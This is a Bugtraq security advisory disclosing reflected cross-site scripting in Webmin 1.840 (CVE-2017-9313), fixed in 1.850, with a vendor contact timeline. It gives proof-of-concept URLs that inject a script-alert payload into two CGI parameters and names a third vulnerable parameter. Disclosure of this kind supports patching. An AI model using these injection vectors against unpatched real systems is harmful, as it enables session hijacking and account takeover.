bugtraq - [CVE-2017-9313] Webmin 1.840 Multiple XSS Vulnerabilities

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Date: Sun, 2 Jul 2017 08:35:23 GMT
From: andys3c@...il.com
To: bugtraq@...urityfocus.com
Subject: [CVE-2017-9313] Webmin 1.840 Multiple XSS Vulnerabilities

Vulnerability type: Reflected Cross Site Scripting
------------------------
Product: Webmin
------------------------
Affected version: Webmin 1.840 and possibly 
earlier
------------------------
Patched version: Webmin 1.850
------------------------
Credit: Andy Tan
------------------------
CVE ID: CVE-2017-9313
------------------------

===============
Proof of Concept
================
Vulnerable Modules:
https://192.168.1.20:10000/man/view_man.cgi?page=foo&sec=<script>alert('xss')</script>

https://192.168.1.20:10000/webmin/change_referers.cgi?referer=0&referers=<script>alert('xss')</script>

https://192.168.1.20:10000/acl/save_user.cgi
(Vulnerable 'name' parameter)

Vendor contact timeline:
------------------------
2017-06-12: Contacted vendor.
2017-06-28: Vendor released new patch.
2017-07-02: Public disclosure.